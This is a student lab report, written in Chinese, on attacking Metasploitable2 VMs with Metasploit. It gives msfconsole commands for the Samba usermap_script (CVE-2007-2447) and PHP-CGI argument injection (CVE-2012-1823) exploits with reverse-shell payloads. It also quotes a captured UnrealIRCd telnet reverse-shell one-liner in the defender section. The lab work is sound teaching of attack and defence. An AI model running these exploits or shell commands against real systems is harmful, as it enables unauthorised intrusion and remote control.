20232906 2023-2024-2 《网络与系统攻防技术》第七次作业
1.实验内容
一、使用Metasploit进行Linux远程渗透攻击
任务:使用Metasploit渗透测试软件,攻击Linux靶机上的Samba服务Usermap_script安全漏洞,获取目标Linux靶机的主机访问权限。实践步骤如下:
①启动Metasploit软件,可根据个人喜好使用msfconsole、msfgui、msfweb之一;
②使用exploit:exploit/multi/samba/usermap_script渗透攻击模块;
③选择攻击PAYLOAD为远程shell,(正向或反向连接均可);
④设置渗透攻击参数(RHOST,LHOST,TARGET等);
⑤执行渗透攻击;
⑥查看是否正确得到远程Shell,并查看获得的权限。
二、实践作业:攻防对抗实践
攻击方:使用 Metasploit ,选择 Metasploitable 靶机中发现的漏洞进行渗透攻击,获得远程控制权,并尝试进一步获得root权限。
防守方:使用 tcpdump/wireshark/snort 监听获得网络攻击的数据包文件,结合 wireshark/snort 分析攻击过程,获得攻击者的IP、目标IP和端口、攻击发起时间、攻击利用漏洞、使用Shellcode、以及成功之后在命令行输入的信息。
2.实验过程
2.1 使用Metasploit进行Linux远程渗透攻击
-
简介:Metasploit是一个免费的、可下载的框架,通过它可以很容易地获取、开发并对计算机软件漏洞实施攻击。它本身附带数百个已知软件漏洞的专业级漏洞攻击工具。当H.D. Moore在2003年发布Metasploit时,计算机安全状况也被永久性地改变了。仿佛一夜之间,任何人都可以成为黑客,每个人都可以使用攻击工具来攻击那些未打过补丁或者刚刚打过补丁的漏洞。软件厂商再也不能推迟发布针对已公布漏洞的补丁了,这是因为Metasploit团队一直都在努力开发各种攻击工具,并将它们贡献给所有Metasploit用户。
-
这里我们使用Kali作为攻击机,如图一所示,Kali的IP地址为192.168.1.230。
图一 Kali的IP地址 -
使用Metasploitable2-Linux作为靶机,如图二所示,靶机IP为192.168.1.130。
图二 Win2kServer的IP地址 -
这里我们使用命令
msfconsole
打开Metasploit,并等待它加载完成。
图三 打开Kali的Metasploit -
然后我们使用Samba服务的 usermap_script 安全漏洞,使用命令如下:
use exploit/multi/samba/usermap_script # 将CVE-2007-2447作为目标漏洞 set payload payload/cmd/unix/reverse # 设置 Payload 为反向TCP连接 set LHOST 192.168.1.230 # 设置攻击机IP set RHOST 192.168.1.130 # 设置靶机IP
CVE-2007-2447:Samba协议的一个漏洞,用户名映射脚本命令执行。该漏洞影响Samba的3.0.20到3.0.25rc3 版本,当使用非默认的用户名映射脚本配置选项时产生,通过指定一个包含shell元字符的用户名,攻击者能够执行任意命令。
这一过程的截图如图四所示:
图四 使用MS08-067漏洞利用模块 -
最后使用命令
exploit
即可获取靶机的Shell,如图五所示。
图五 成功获取靶机Shell
2.2 实践作业:攻防对抗实践
IP地址\成员 | 20232906陈瀚文 | 20232925操昕 |
---|---|---|
攻击机 | 192.168.1.230 | 192.168.1.53 |
靶机 | 192.168.1.130 | 192.168.1.131 |
-
攻击方
这里我使用了PHP-CGI Query String Parameter Injection Arbitrary Code Execution漏洞进行攻击,使用攻击命令如下:use exploit/multi/http/php_cgi_arg_injection set RHOST 192.168.1.131 # 设置靶机IP exploit
CVE-2012-1823:用户请求的querystring被作为了php-cgi的参数执行了,命令行参数不仅可以通过
#!/usr/local/bin/php-cgi -d include_path=/path
的方式传入php-cgi,还可以通过querystring的方式传入。具体运行过程如图六所示:
图六 攻击方运行CVE-2012-1823之后输入命令
shell
,即可拿到靶机的Shell,如图七所示,但需要进一步提权才能够拿到root权限。
图七 成功获取靶机Shell -
防守方
这里对方使用了Metasploit溢出UnrealIRCd后门漏洞进行攻击,抓包结果如图二十所示,攻击者首先向靶机80端口发送攻击载荷,如图八所示,攻击机向靶机发送命令,这一过程执行了休眠进程3964以及通过telnet远程连接攻击机:sleep 3964|telnet 192.168.1.53 4444|while : ; do sh && break; done 2>&1|telnet 192.168.1.53 4444 >/dev/null 2>&1 &
溢出UnrealIRCd后门:某些站点的UnrealIRCd,在DEBUG3_DOLOG_SYSTEM宏中包含外部引入的恶意代码,远程攻击者通过这个漏洞执行任意代码。
图八 攻击机攻击载荷
图九 攻击机通过反弹Shell执行命令
3.问题及解决方案
- 问题1:在使用Metasploitable2-Linux,攻击机无法Ping通靶机IP。
- 问题1解决方案:将Metasploitable2-Linux接入桥接网卡,然后通过命令
sudo /etc/rc.local
,修改其中包含ipconfig的命令使得IP地址符合桥接网络的IP范围并使网关为桥接网络的网关。
4.学习感悟、思考等
本次实验延续上次实验继续进行了Metasploit的相关实践,通过动手的方式我弄懂了Metasploit对Linux系统的攻击方法。在本次实验中,经过在网上寻找相关资料,我成功地完成了相关的实验内容,总的来说本次实验难度不大,工作量也相对较小,值得注意的是,无论是Linux还是上次实验中的Windows靶机,其都含有许多因未更新软件遗留的漏洞,这也提醒我们应当时刻更新软件至最新版本以尽量减少已知漏洞的存在。对于0-day漏洞,我们可以通过安全软件进行动态检测,检测的对象可以是文件操作记录,网络日志等多种数据源。
感谢王老师的细心讲解和耐心帮助,也感谢在实验过程中给我帮助的同学们。正因为有你们的帮助我才能够顺利地完成本次实验,谢谢!
参考资料
- Metasploit - 百度百科
- 【漏洞验证】Metasploitable2靶机漏洞复现 - ps_x
- HP-CGI远程代码执行漏洞CVE-2012-1823复现 - 从不专注的人
- Metasploit溢出UnrealIRCd后门漏洞 - weixin_34185320